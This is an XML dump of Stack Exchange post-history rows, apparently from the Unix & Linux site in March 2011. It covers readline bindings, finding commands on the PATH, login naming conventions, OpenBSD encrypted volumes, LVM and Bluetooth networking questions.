  <row Id="23080" PostHistoryTypeId="5" PostId="9676" RevisionGUID="190941eb-e6a0-4399-a854-868961c5e074" CreationDate="2011-03-19T21:41:03.060" UserId="2343" Comment="added 61 characters in body" Text="    # loop until the user presses &lt;Enter&gt;&#xD;&#xA;    while true ; do &#xD;&#xA;        read -n 1 c&#xD;&#xA;        (( ${#c} == 0 )) &amp;&amp; break # Exit the loop. Input length is 0  &#xD;&#xA;                                  # ie. The user has pressed Enter&#xD;&#xA;        #&#xD;&#xA;        if [   \( ! &quot;$c&quot; \&lt; &quot;a&quot; -a  ! &quot;$c&quot; \&gt; &quot;z&quot; \) \&#xD;&#xA;            -o \( ! &quot;$c&quot; \&lt; &quot;A&quot; -a  ! &quot;$c&quot; \&gt; &quot;Z&quot; \) ]&#xD;&#xA;        then&#xD;&#xA;            val=($(ascii -s $c)) # build an array of ascii info for this char &#xD;&#xA;            echo &quot; ... The decimal value of $c is: ${val[1]}&quot;&#xD;&#xA;        else&#xD;&#xA;            echo -n  $'\r \r' # overwrite the invalid character&#xD;&#xA;        fi &#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="23081" PostHistoryTypeId="2" PostId="9677" RevisionGUID="9d793068-ae40-42db-b890-e245f11244e4" CreationDate="2011-03-19T21:55:32.190" UserId="885" Text="To do literally what you're asking, put the following line in your `~/.inputrc`:&#xD;&#xA;&#xD;&#xA;    &quot;\e\e[A&quot;: &quot;cd ..\n&quot;&#xD;&#xA;&#xD;&#xA;Here `\e\e[A` is byte sequence that your terminal sends when you press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Up&lt;/kbd&gt; (`\e` is parsed as the escape character), some terminals might send `\e[1;3A~` or some other sequence instead. To find out what sequence your terminal sends, run `cat` and press the key (escape will display as `^[`).&#xD;&#xA;&#xD;&#xA;In bash, you can in principle bind a key to shell code, so you should be able to do this:&#xD;&#xA;&#xD;&#xA;    bind -x '&quot;\e\e[A&quot;:cd ..'&#xD;&#xA;&#xD;&#xA;However [this doesn't work due to a hard-to-fix implementation bug](http://old.nabble.com/bash_execute_unix_command%3A-cannot-find-keymap-for-command-td29071752.html). Zsh expert [Stéphane Chazelas](http://groups.google.com/group/comp.unix.shell/browse_thread/thread/3e3b837a1b4584cf/3b7baccfdfa997c0?q=bash_execute_unix_command+OR+bogus) has a workaround:&#xD;&#xA;&#xD;&#xA;    bind -x '&quot;\201&quot;:cd ..'&#xD;&#xA;    bind '&quot;\e\e[A&quot;:&quot;\201&quot;'&#xD;&#xA;&#xD;&#xA;The effect is somewhat confusing because the prompt isn't redrawn.&#xD;&#xA;&#xD;&#xA;In bash ≥4, add `shopt -s autocd` to your `~/.bashrc`. Then you can change to the parent directory (or any directory) by entering just `..`, without having to type the `cd` command.&#xD;&#xA;" />
  <row Id="23082" PostHistoryTypeId="6" PostId="9664" RevisionGUID="42a95920-f1a0-4545-8396-af1b6330002e" CreationDate="2011-03-19T21:55:43.750" UserId="885" Comment="edited tags" Text="ébashàéreadlineà" />
  <row Id="23083" PostHistoryTypeId="2" PostId="9678" RevisionGUID="e3059c21-30fc-49fb-9e23-9738c139bea2" CreationDate="2011-03-19T22:13:41.877" UserId="5661" Text="Debian does not target a specific kernel. Debian GNU/Linux is just one variant (the most popular and advanced). There are also Debian GNU/NetBSD, Debian GNU/Hurd, Debian GNU/Darwin, and as you mentioned Debian GNU/kFreeBSD (and perhaps more). Porting Debian to non-Linux kernels is useful for people (users, system administrators, system developers, etc) who are using/developing a non-Linux kernel but would like to take advantage of the Debian (`dpkg`, `apt`, `aptitude`, `debconf`, the policy) and GNU (`coreutils`, `autotools`, `bash`, `gcc`, `gdb`, etc) tools." />
  <row Id="23084" PostHistoryTypeId="2" PostId="9679" RevisionGUID="8403f986-2cfa-44b1-92ce-d4366f5ff46b" CreationDate="2011-03-19T22:20:42.933" UserId="885" Text="That terminal is called the Linux console, or sometimes a “vt” (short for virtual terminal). The terminology can be confusing, especially since it's used inconsistently and sometimes incorrectly. You can find more information on terminology by reading [What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?](http://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-cons/4132#4132).&#xD;&#xA;&#xD;&#xA;The Linux console supports user-configured fonts, so the answer to your question is “whatever the user set up”. The utility to change the font is `consolechars`, part of the [Linux console tools](http://lct.sourceforge.net/). Only 8-bit fonts are supported by the hardware, though you can partly work around this by supporting unicode-encoded output but only having 256 glyphs (other characters are ignored). Read the [lct documentation](http://lct.sourceforge.net/lct/lct.html) (online as of this writing, it should be included in your distribution's package) for more information.&#xD;&#xA;&#xD;&#xA;If you use the Linux [framebuffer](http://en.wikipedia.org/wiki/Linux_framebuffer), you can have proper unicode support, either directly or through [fbterm](http://code.google.com/p/fbterm/).&#xD;&#xA;&#xD;&#xA;The half-block characters are included in [IBM code page 437](http://en.wikipedia.org/wiki/Code_page_437), which is supported in ROM most PC video adapters. Depending on what characters you need, this may be enough.&#xD;&#xA;&#xD;&#xA;Note that very few people use the Linux console these days. Some people cannot use it for various reasons (not running Linux, running on a remote X terminal, having a video adapter where text mode is buggy, …). I don't recommend spending much energy on supporting it.&#xD;&#xA;" />
  <row Id="23085" PostHistoryTypeId="2" PostId="9680" RevisionGUID="dcdfde57-35a7-43aa-9925-6822e6641729" CreationDate="2011-03-19T22:20:44.840" UserId="5896" Text="I have seen in many places (especially universities) logins formed in the following way:&#xD;&#xA;&#xD;&#xA; - First letter of the first name: John Smithsonian → j&#xD;&#xA; - First seven letters of the name: John Smithsonian → smithso&#xD;&#xA;&#xD;&#xA;Thus the login would be jsmithso.&#xD;&#xA;&#xD;&#xA;Does anyone know how such a way to create a login is called? And why it is done that way." />
  <row Id="23086" PostHistoryTypeId="1" PostId="9680" RevisionGUID="dcdfde57-35a7-43aa-9925-6822e6641729" CreationDate="2011-03-19T22:20:44.840" UserId="5896" Text="Why are UNIX logins often formed with the first letter of the first name followed by the first seven letters of the name?" />
  <row Id="23087" PostHistoryTypeId="3" PostId="9680" RevisionGUID="dcdfde57-35a7-43aa-9925-6822e6641729" CreationDate="2011-03-19T22:20:44.840" UserId="5896" Text="éloginàéhistoryà" />
  <row Id="23088" PostHistoryTypeId="6" PostId="9675" RevisionGUID="fa3d2154-3425-4250-8ed5-445cabc7e6db" CreationDate="2011-03-19T22:21:04.633" UserId="885" Comment="edited tags" Text="élinuxàéterminalàéfontsàéunicodeà" />
  <row Id="23089" PostHistoryTypeId="2" PostId="9681" RevisionGUID="932e1141-af21-4248-b6fa-7fbc92b0f067" CreationDate="2011-03-19T22:26:38.713" UserId="885" Text="Some time ago, most systems had an 8-character limit for user names. Given the limited space, first name plus last name is often too long, leading to various conventions such as 1+7 (or 1+1+6 for people who have two first names or a middle name). This isn't the only convention; common conventions include first name only, last name only, initials only (mostly in the US, rarer in countries where people only have one or two initials), first name initial plus last name (in either order), first name plus last name initial (in either order), user-chosen nicknames, any of the above truncated to 8 characters (sometimes a different number), or something else altogether.&#xD;&#xA;" />
  <row Id="23090" PostHistoryTypeId="2" PostId="9682" RevisionGUID="deaf31a2-6f72-4792-8399-4ecc59c21043" CreationDate="2011-03-19T22:49:51.800" UserId="4137" Text="Seems like the other answers achieve what you want, and a scriptable tool seems the most appropriate choice.&#xD;&#xA;&#xD;&#xA;But you asked about vim, so here's how you do it there: &#xD;&#xA;&#xD;&#xA;    %s/, /\r/g&#xD;&#xA;&#xD;&#xA;That is, replace every comma+space with a carriage return. This will then be interpreted as the appropriate line ending character for the file. (You can check this by searching for `\r` -- it won't be found)." />
  <row Id="23091" PostHistoryTypeId="2" PostId="9683" RevisionGUID="779e2159-85a0-445f-a4d7-d9d31cf05ddc" CreationDate="2011-03-19T23:29:35.863" UserId="4954" Text="I think most are familiar with the `which` command, and I use it frequently. I just ran into a situation where I'm curious not just which command is first in my path, but how many and where *all* the commands in all my paths are. I tried the which man page (typing `man which` made me laugh), but didn't see anything." />
  <row Id="23092" PostHistoryTypeId="1" PostId="9683" RevisionGUID="779e2159-85a0-445f-a4d7-d9d31cf05ddc" CreationDate="2011-03-19T23:29:35.863" UserId="4954" Text="`which`, but all" />
  <row Id="23093" PostHistoryTypeId="3" PostId="9683" RevisionGUID="779e2159-85a0-445f-a4d7-d9d31cf05ddc" CreationDate="2011-03-19T23:29:35.863" UserId="4954" Text="épathà" />
  <row Id="23094" PostHistoryTypeId="25" PostId="9680" RevisionGUID="3d09a170-2f0d-4354-b6c1-6fe9b255da55" CreationDate="2011-03-19T23:31:24.767" Comment="http://twitter.com/#!/StackUnix/status/49251656751267840" />
  <row Id="23096" PostHistoryTypeId="2" PostId="9684" RevisionGUID="57425dc7-fb6d-49e3-969f-2485d6ead496" CreationDate="2011-03-19T23:47:47.500" UserId="885" Text="I don't think the OpenBSD installer supports directly creating and installing to an encrypted partition. There's little use in encrypting the system partition anyway¹. So I suggest installing the system normally, then creating an encrypted filesystem image and putting your sensitive data (`/home`, parts of `/var`, perhaps a few files in `/etc`) there.&#xD;&#xA;&#xD;&#xA;Boot into your OpenBSD installation and create a file that will contain the encrypted filesystem image. Make sure to choose a reasonable size since it'll be hard to change later (you can create an additional image, but you'll have to enter the passphrase separately for each image). The [`vnconfig`](http://www.openbsd.org/cgi-bin/man.cgi?query=vnconfig&amp;sektion=8) man page has examples (though they're missing a few steps). In a nutshell:&#xD;&#xA;&#xD;&#xA;    dd if=/dev/urandom of=/ENCRYPTED.img bs=1m count=4096&#xD;&#xA;    vnconfig -k svnd0 /ENCRYPTED.img  # type your passphrase&#xD;&#xA;    { echo a a; echo w; echo q; } | disklabel -E /svnd0  # create a single slice&#xD;&#xA;    newfs /dev/svnd0a&#xD;&#xA;    mount /dev/svnd0a /mnt&#xD;&#xA;    mv /home/* /mnt&#xD;&#xA;    umount /mnt&#xD;&#xA;    umount /dev/svnd0c&#xD;&#xA;&#xD;&#xA;Add corresponding entries to [`/etc/fstab`](http://www.openbsd.org/cgi-bin/man.cgi?query=fstab&amp;sektion=5):&#xD;&#xA;&#xD;&#xA;     /ENCRYPTED.img  /dev/svnd0c  vnd rw,noauto,-k&#xD;&#xA;     /dev/svnd0a     /home        ffs rw,noauto&#xD;&#xA;&#xD;&#xA;Add commands to mount the encrypted volume and the filesystem in it at boot time to [`/etc/rc.local`](http://www.openbsd.org/cgi-bin/man.cgi?query=rc.local&amp;sektion=8):&#xD;&#xA;&#xD;&#xA;    echo &quot;Mounting encrypted volumes:&quot;&#xD;&#xA;    mount /dev/svnd0c&#xD;&#xA;    fsck -p /dev/svnd0a&#xD;&#xA;    mount /home&#xD;&#xA;&#xD;&#xA;Check that everything is working correctly by running these commands (`mount /dev/svnd0c &amp;&amp; mount /home`).&#xD;&#xA;&#xD;&#xA;Note that `rc.local` is executed late in the boot process, so you can't put files used by the standard services such as ssh or sendmail on the encrypted volume. If you want to do that, put these commands in `/etc/rc` instead, just after `mount -a`. Then move the parts of your filesystem you consider to be sensitive and move them to the `/home` volume.&#xD;&#xA;&#xD;&#xA;    mkdir /home/etc /home/var&#xD;&#xA;    mv /etc/ssh /home/etc&#xD;&#xA;    ln -s ../home/etc/ssh /home/etc&#xD;&#xA;    mv /var/mail /var/spool /home/var&#xD;&#xA;    ln -s ../home/var/mail ../home/var/spool /var&#xD;&#xA;&#xD;&#xA;You should encrypt your swap as well, but OpenBSD does that automatically nowadays.&#xD;&#xA;&#xD;&#xA;Another way to get an encrypted filesystem is through the software raid driver [`softraid`](http://www.openbsd.org/cgi-bin/man.cgi?query=softraid&amp;sektion=4). See the [`softraid`](http://www.openbsd.org/cgi-bin/man.cgi?query=softraid&amp;sektion=4) and [`bioctl`](http://www.openbsd.org/cgi-bin/man.cgi?query=bioctl&amp;sektion=8) man pages or [Lykle de Vries's OpenBSD encrypted NAS HOWTO](http://www2.geektechnique.org/projectlab/797/openbsd-encrypted-nas-howto.html) for more information. Booting from a softraid volume is not supported.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;As far as I can tell, OpenBSD's [volume encryption](http://www.openbsd.org/cgi-bin/man.cgi?query=vnconfig&amp;sektion=8) is protected for confidentiality (with Blowfish), not for [integrity](http://en.wikipedia.org/wiki/CIA_triad#Integrity). Protecting the OS's integrity is important, but there's no need for confidentiality. There are ways to protect the OS's integrity as well, but they are beyond the scope of this answer.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="23097" PostHistoryTypeId="5" PostId="9527" RevisionGUID="1d76d9af-1101-49f9-8114-755f4d783371" CreationDate="2011-03-19T23:49:32.380" UserId="885" Comment="removed chrome; removed fluff" Text="Is a good method to encrypt the full disk (like with dm-crypt/AES under Linux)? Can someone please post a small and compact howto?&#xD;&#xA;" />
  <row Id="23098" PostHistoryTypeId="4" PostId="9527" RevisionGUID="1d76d9af-1101-49f9-8114-755f4d783371" CreationDate="2011-03-19T23:49:32.380" UserId="885" Comment="removed chrome; removed fluff" Text="full disk encryption on OpenBSD" />
  <row Id="23099" PostHistoryTypeId="6" PostId="9527" RevisionGUID="1d76d9af-1101-49f9-8114-755f4d783371" CreationDate="2011-03-19T23:49:32.380" UserId="885" Comment="removed chrome; removed fluff" Text="ésecurityàéfilesystemsàéencryptionàéopenbsdà" />
  <row Id="23100" PostHistoryTypeId="2" PostId="9685" RevisionGUID="9f28bb7d-f128-4d20-bf22-9fe1cc7dcd69" CreationDate="2011-03-19T23:52:05.933" UserId="1323" Text="The --all or -a flag will show you all matches in your PATH, and aliases (at least on Fedora, Ubuntu and CentOS):&#xD;&#xA;&#xD;&#xA;    which -a which&#xD;&#xA;&#xD;&#xA;On AIX and Solaris, this will get you close (but may take a while):&#xD;&#xA;&#xD;&#xA;    echo $PATH | sed -e 's/:/ /g' | while read p; do find $p -name &quot;*which&quot;; done" />
  <row Id="23101" PostHistoryTypeId="5" PostId="9685" RevisionGUID="724b594d-a328-4552-955f-b05a5efb78bd" CreationDate="2011-03-20T00:01:09.233" UserId="1323" Comment="deleted 8 characters in body; edited body" Text="The --all or -a flag will show you all matches in your path, and aliases (at least on Fedora, Ubuntu and CentOS):&#xD;&#xA;&#xD;&#xA;    which -a which&#xD;&#xA;&#xD;&#xA;On AIX and Solaris, this will get you close:&#xD;&#xA;&#xD;&#xA;    echo $PATH | sed -e 's/:/ /g' | \&#xD;&#xA;    while read p; do find $p -type f -name &quot;*which&quot;; done" />
  <row Id="23102" PostHistoryTypeId="2" PostId="9686" RevisionGUID="993c2f5f-608c-4687-87f4-f0a33dc5371b" CreationDate="2011-03-20T00:12:21.393" UserId="3046" Text="Have seen as many this way: &#xD;&#xA;&#xD;&#xA;lastname+as many latters of firstname that fit into 8 chars as well. &#xD;&#xA;&#xD;&#xA;It's just a way to fit into what available space you have.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23103" PostHistoryTypeId="2" PostId="9687" RevisionGUID="9eb58676-9462-4d88-838e-97e101746f75" CreationDate="2011-03-20T00:18:23.773" UserId="2874" Text="I used xsetroot -solid  &quot;#xxxxxx&quot;  to set a background color.  I like this color, but did not record the command and it's long gone from the bash shell history.  How can I find out what the color was?&#xD;&#xA;" />
  <row Id="23104" PostHistoryTypeId="1" PostId="9687" RevisionGUID="9eb58676-9462-4d88-838e-97e101746f75" CreationDate="2011-03-20T00:18:23.773" UserId="2874" Text="How to find out what color I gave to xsetroot?" />
  <row Id="23105" PostHistoryTypeId="3" PostId="9687" RevisionGUID="9eb58676-9462-4d88-838e-97e101746f75" CreationDate="2011-03-20T00:18:23.773" UserId="2874" Text="éxorgà" />
  <row Id="23106" PostHistoryTypeId="2" PostId="9688" RevisionGUID="267c7931-81e7-48fd-90d9-b24a53834708" CreationDate="2011-03-20T00:24:21.883" UserId="885" Text="On some systems, **`which -a`** shows all matches. If your shell is bash or zsh¹, you can use `type` instead: `type foo` shows the first match and &lt;code&gt;&lt;strong&gt;type -a&lt;/strong&gt; foo&lt;/code&gt; shows all matches. The three commands `type`, `which` and `whence` do mostly the same thing; they differ between shells and operating systems in availability, options, and what exactly they report. `type` is always available and shows all possible command-like names (aliases, keywords, shell built-ins, functions, and external commands).&#xD;&#xA;&#xD;&#xA;The only fully portable way to display all matches is to parse `$PATH` yourself. Here's a shell script that does this. If you make it a shell function, make sure to enclose the function body in parentheses (so that the change to `IFS` and `set -f` don't escape the function), and change `exit` to `return`.&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    set -f       # disable globbing&#xD;&#xA;    IFS=:        # break words at : only&#xD;&#xA;    not_found=1&#xD;&#xA;    for d in $PATH; do&#xD;&#xA;      if [ -x &quot;$d/$x&quot; ]; then&#xD;&#xA;        printf '%s\n' &quot;$d/$x&quot;&#xD;&#xA;        not_found=0&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;    exit $not_found&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;Or ksh 93, according to the documentation, though ksh 93s+ 2008-01-31 only prints the first match when I try.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="23107" PostHistoryTypeId="2" PostId="9689" RevisionGUID="649eeb53-53a2-42d9-aa6b-670fb728b24c" CreationDate="2011-03-20T00:24:25.933" UserId="3046" Text="Definitely - I have a colleague who has successfully used it for wireless 'hacking' - it works really well, utilising the tools we normally use on our laptops for this.&#xD;&#xA;&#xD;&#xA;as @Tshepang says, it is just Debian, cut down a wee bit, so if the default install doesn't come with what you need, apt-get is your friend.&#xD;&#xA;&#xD;&#xA;Sadly, I also don't know whether it has USB master on board, but for everything else you asked - yep (although compile times could be very long - use a cross compiler :-)" />
  <row Id="23108" PostHistoryTypeId="5" PostId="9685" RevisionGUID="494d86e7-dc87-48e2-bcc8-7523d2a659e9" CreationDate="2011-03-20T00:27:50.507" UserId="885" Comment="added double quotes around parameter substitutions" Text="The --all or -a flag will show you all matches in your path, and aliases (at least on Fedora, Ubuntu and CentOS):&#xD;&#xA;&#xD;&#xA;    which -a which&#xD;&#xA;&#xD;&#xA;On AIX and Solaris, this will get you close:&#xD;&#xA;&#xD;&#xA;    echo &quot;$PATH&quot; | sed -e 's/:/ /g' | \&#xD;&#xA;    while read -r p; do find &quot;$p&quot; -type f -name &quot;which&quot;; done" />
  <row Id="23109" PostHistoryTypeId="2" PostId="9690" RevisionGUID="98166f2a-f74c-45a6-8121-3b0279ec5b40" CreationDate="2011-03-20T00:30:54.507" UserId="3046" Text="This will of course depend on what filesystem you are using, &#xD;&#xA;&#xD;&#xA;[e2fsprogs][1] contains debugfs which will work with ext2, ext3 and ext4, and is used to manually view or modify internal structures of the file system&#xD;&#xA;&#xD;&#xA;man page for debugfs is [here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://e2fsprogs.sourceforge.net/&#xD;&#xA;  [2]: http://linux.die.net/man/8/debugfs" />
  <row Id="23110" PostHistoryTypeId="2" PostId="9691" RevisionGUID="9abfc687-398a-4752-b81e-4e2294b979d5" CreationDate="2011-03-20T00:34:04.503" UserId="3046" Text="My cheap Logitech MX has 7 buttons plus scrollwheel, wheel push, wheel left and wheel right. It is very easy to use, and the 3 thumb buttons are ideal for copy and pasting and similar functions." />
  <row Id="23111" PostHistoryTypeId="2" PostId="9692" RevisionGUID="142bf45b-3793-4940-9801-6d72f4943047" CreationDate="2011-03-20T00:39:20.800" UserId="3046" Text="I had something like this happen a while back and we eventually tracked it down to some Postscript code which told the printer to print in negative, but was not revoked, and was persistent through reboot.&#xD;&#xA;&#xD;&#xA;Rest to defaults fixed it, but it took us a while going back through the logs to figure it out." />
  <row Id="23112" PostHistoryTypeId="2" PostId="9693" RevisionGUID="94bf6022-3aae-467d-afa7-c45ea964441f" CreationDate="2011-03-20T00:45:27.807" UserId="5447" Text="I would just use the [Color Picker tool][1] from Gimp.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.gimp.org/en/gimp-tool-color-picker.html" />
  <row Id="23113" PostHistoryTypeId="2" PostId="9694" RevisionGUID="c565c5fc-c89c-4b5e-8277-ceccbefc4fab" CreationDate="2011-03-20T00:48:34.063" UserId="3046" Text="You could try the [Ultimate Linux Newbie Guide][1] videos or read the [Linux.org beginner guide][2]&#xD;&#xA;&#xD;&#xA;But to be honest, if you are going for something like Ubuntu you will find it very easy, and if you don't, there is a stack of info over on [askubuntu.com][3], including [this question][4] which should have what you'll need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=owdEDcmF1SI&#xD;&#xA;  [2]: http://www.linux.org/docs/beginner/install.html&#xD;&#xA;  [3]: http://askubuntu.com&#xD;&#xA;  [4]: http://askubuntu.com/q/17702/7163" />
  <row Id="23114" PostHistoryTypeId="2" PostId="9695" RevisionGUID="dfd60ff2-c0cb-43ef-8f45-6ec24eb3a626" CreationDate="2011-03-20T00:55:15.490" UserId="885" Text="Assuming it still is the color of the root window: run `xcolorsel` (part of the [contributed X utility set](http://ftp.x.org/contrib/utilities/); some distributions pack it separately), click the “Grab color” button, and click somewhere on your root window. The numbers you want are the ones below the color list box. Change the display format to “8 bit scalred rgb” to have something familiar.&#xD;&#xA;" />
  <row Id="23115" PostHistoryTypeId="6" PostId="9687" RevisionGUID="13c8ea61-7d40-431c-9786-7bb070317517" CreationDate="2011-03-20T00:55:27.580" UserId="885" Comment="edited tags" Text="éxorgàécolorsà" />
  <row Id="23116" PostHistoryTypeId="5" PostId="9693" RevisionGUID="1957f1a2-64fc-4f83-b059-d6791b5bc564" CreationDate="2011-03-20T01:02:11.050" UserId="5447" Comment="added 109 characters in body" Text="I would just use the [Color Picker tool][1] from Gimp, which will let you click anywhere on the screen and will give you the RGB value for the color at that point.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.gimp.org/en/gimp-tool-color-picker.html" />
  <row Id="23117" PostHistoryTypeId="5" PostId="9619" RevisionGUID="443b307b-3df5-462a-9995-50a7b0c90689" CreationDate="2011-03-20T01:09:04.887" UserId="5836" Comment="deleted 130 characters in body" Text="How to write a shell script which searches the current UNIX directory and returns the names of all files of type ASCII text?&#xD;&#xA;" />
  <row Id="23118" PostHistoryTypeId="2" PostId="9696" RevisionGUID="38c3354b-a523-4ab9-9c0c-a623abe1d70f" CreationDate="2011-03-20T01:12:02.760" UserId="-1" Text="" />
  <row Id="23119" PostHistoryTypeId="2" PostId="9697" RevisionGUID="3b80cdba-b186-42f4-9de5-dde14677bb92" CreationDate="2011-03-20T01:12:02.760" UserId="-1" Text="" />
  <row Id="23120" PostHistoryTypeId="5" PostId="9696" RevisionGUID="7b356a75-caac-4e06-9605-3961c21c5fee" CreationDate="2011-03-20T01:43:55.370" UserId="1323" Comment="added 400 characters in body" Text="LVM is a collection of user-space utilities and kernel modules that provide layers of abstraction to the storage available on Unix systems. Among its many notable features are the ability to:&#xD;&#xA;&#xD;&#xA; - combine many disks into one storage pool&#xD;&#xA; - stripe volumes across different physical storage devices&#xD;&#xA; - mirror volumes&#xD;&#xA; - snapshot volumes&#xD;&#xA; - enlarge or shrink volumes, often without system downtime" />
  <row Id="23121" PostHistoryTypeId="24" PostId="9696" RevisionGUID="7b356a75-caac-4e06-9605-3961c21c5fee" CreationDate="2011-03-20T01:43:55.370" Comment="Proposed by 1323 approved by 885 edit id of 219" />
  <row Id="23122" PostHistoryTypeId="5" PostId="9697" RevisionGUID="684a6046-8f65-4a66-9c03-8f2c98d1ae08" CreationDate="2011-03-20T01:45:04.230" UserId="1323" Comment="added 55 characters in body" Text="The Logical Volume Manager provides storage abstraction" />
  <row Id="23123" PostHistoryTypeId="24" PostId="9697" RevisionGUID="684a6046-8f65-4a66-9c03-8f2c98d1ae08" CreationDate="2011-03-20T01:45:04.230" Comment="Proposed by 1323 approved by -1 edit id of 220" />
  <row Id="23124" PostHistoryTypeId="5" PostId="9697" RevisionGUID="b9ef847a-a9bf-43e0-bdae-7980f892e24d" CreationDate="2011-03-20T01:45:05.137" UserId="885" Comment="added 39 characters in body" Text="Logical Volume Management provides storage abstraction, a generalization of disk partitioning." />
  <row Id="23128" PostHistoryTypeId="2" PostId="9699" RevisionGUID="25021fbe-ef9b-45a7-bda3-a2a97a5747d4" CreationDate="2011-03-20T02:24:42.340" UserId="5075" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have 2 computer, both have Ubuntu 10.10 desktop edition installed. Both have bluetooth dangle, but the manufacture are different. I want to connect the two computer and share the Internet connection.&#xD;&#xA;&#xD;&#xA;On computer A, I set the bluetooth to 'visible'; and on computer B, I started the 'setup new device' process. On computer B, it can find A, but when it pops up a dialog and ask me to enter the PIN code on A, I cannot see anywhere on A that I can enter the code. I also tried from the other direction, but no luck." />
  <row Id="23129" PostHistoryTypeId="1" PostId="9699" RevisionGUID="25021fbe-ef9b-45a7-bda3-a2a97a5747d4" CreationDate="2011-03-20T02:24:42.340" UserId="5075" Text="How to connect two computers with bluetooth on Ubuntu 10.10?" />
  <row Id="23130" PostHistoryTypeId="3" PostId="9699" RevisionGUID="25021fbe-ef9b-45a7-bda3-a2a97a5747d4" CreationDate="2011-03-20T02:24:42.340" UserId="5075" Text="éubuntuàénetworkingàébluetoothà" />
  <row Id="23131" PostHistoryTypeId="25" PostId="9687" RevisionGUID="ad674fbc-ba69-4708-a10f-c1b3d7305bc0" CreationDate="2011-03-20T02:31:24.720" Comment="http://twitter.com/#!/StackUnix/status/49296955263815681" />
  <row Id="23136" PostHistoryTypeId="4" PostId="9657" RevisionGUID="092471e3-25b6-4e23-a841-fd23c6edc2d2" CreationDate="2011-03-20T02:43:12.277" UserId="2339" Comment="edited title; added 1 characters in body" Text="After cloning Fedora 14 install to another machine, onboard NIC is seen as eth1 instead of eth0. Why?" />
  <row Id="23137" PostHistoryTypeId="5" PostId="9657" RevisionGUID="092471e3-25b6-4e23-a841-fd23c6edc2d2" CreationDate="2011-03-20T02:43:12.277" UserId="2339" Comment="edited title; added 1 characters in body" Text="I have the following procedure for replicating a Fedora workstation setup.&#xD;&#xA;&#xD;&#xA; 1. Boot from a Live CD, make tgz's of the filesystems.&#xD;&#xA; 1. Go to new machine, make filesystems, dump the tgz's in the proper places.&#xD;&#xA; 1. Adjust UUID's in /etc/fstab and /boot/grub/menu.lst&#xD;&#xA; 1. Run grub-install&#xD;&#xA; 1. Reboot!&#xD;&#xA;&#xD;&#xA;The nice thing is that DHCP assigns the new machine an unique name, and users have /home mounted on the server. Graphics configuration aren't a worry either, since recent versions of Xorg are wicked smart in auto-detecting graphic adapters.&#xD;&#xA;&#xD;&#xA;So everything works like a snap... with the exception of one small quirk:&#xD;&#xA;&#xD;&#xA;In the first boot of the new machine, network startup fails. It turns out the machine thinks there's no such thing as an eth0, but there _is_ an eth1 and it is the machine's onboard ethernet. So I have to go to /etc/sysconfig/network-scripts, rename ifcfg-eth0 to ifcfg-eth1, and edit the DEVICE= line in it. _Then_ I reboot and everything works.&#xD;&#xA;&#xD;&#xA;I believe somewhere, in some file, there is information associating eth0 with the MAC of the &quot;Master Mold&quot; machine's eth0. But where?&#xD;&#xA;&#xD;&#xA;P.S.: I don't use NetworkManager." />
  <row Id="23138" PostHistoryTypeId="2" PostId="9700" RevisionGUID="8f922319-e531-4473-bf11-23dadda24eb9" CreationDate="2011-03-20T02:55:47.493" UserId="3309" Text="If you just want a program that does this and you're not doing this as an exercise then there's a program called `ascii` that does this. Your distro may offer it as a package already, if not get it from http://www.catb.org/~esr/ascii/." />
  <row Id="23139" PostHistoryTypeId="2" PostId="9701" RevisionGUID="dd84510e-240a-4beb-a0bd-50eeb6214244" CreationDate="2011-03-20T03:09:50.833" UserId="3309" Text="Stable will *only* be updated when there's a point release. Don't expect these to be very often. In fact, don't expect these.&#xD;&#xA;&#xD;&#xA;You should absolutely include security updates (unless you have some requirement like FIPS or something) as outlined at http://www.debian.org/security/.&#xD;&#xA;&#xD;&#xA;If you want other regular updates add the stable-updates as detailed at http://wiki.debian.org/StableUpdates (stable-updates is formerly known as volatile, so if you see any references to that, this is the NewThing&amp;trade;).&#xD;&#xA;&#xD;&#xA;If you want new software that isn't included in stable you should add backports as detailed at http://backports.debian.org/Instructions/." />
  <row Id="23140" PostHistoryTypeId="2" PostId="9702" RevisionGUID="27470afc-2151-427f-b7af-1592ece0b8be" CreationDate="2011-03-20T03:14:52.890" UserId="3309" Text="A very similar question was recently asked.&#xD;&#xA;&#xD;&#xA;My answer to that question is here: http://unix.stackexchange.com/questions/8776/how-to-build-all-of-debian/8850#8850&#xD;&#xA;&#xD;&#xA;Theoretically all distros can be built from source. The details may differ slightly with each distro but the method I listed there is a solid starting point." />
  <row Id="23141" PostHistoryTypeId="2" PostId="9703" RevisionGUID="965306dc-4fd3-4ed1-a1e9-e997280903d6" CreationDate="2011-03-20T03:32:02.107" UserId="3519" Text="I have not tried it, but here's a link for [bluetooth networking with linux][1], or [this tutorial][2] (both found via a google search for `bluetooth networking linux`).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://triptico.com/docs/bluetooth.html&#xD;&#xA;  [2]: http://www.penguintutor.com/tutorials/viewdoc.php?doc=bluetooth-network-tutorial" />
  <row Id="23144" PostHistoryTypeId="4" PostId="9699" RevisionGUID="551d1d82-1198-4e1c-ba21-30b1f0500186" CreationDate="2011-03-20T03:58:56.557" UserId="2511" Comment="Ubuntu is relevant but doesn't need to be in the headline -- the Bluetooth stack is not distro-specific" Text="How to connect two Linux computers with bluetooth?" />
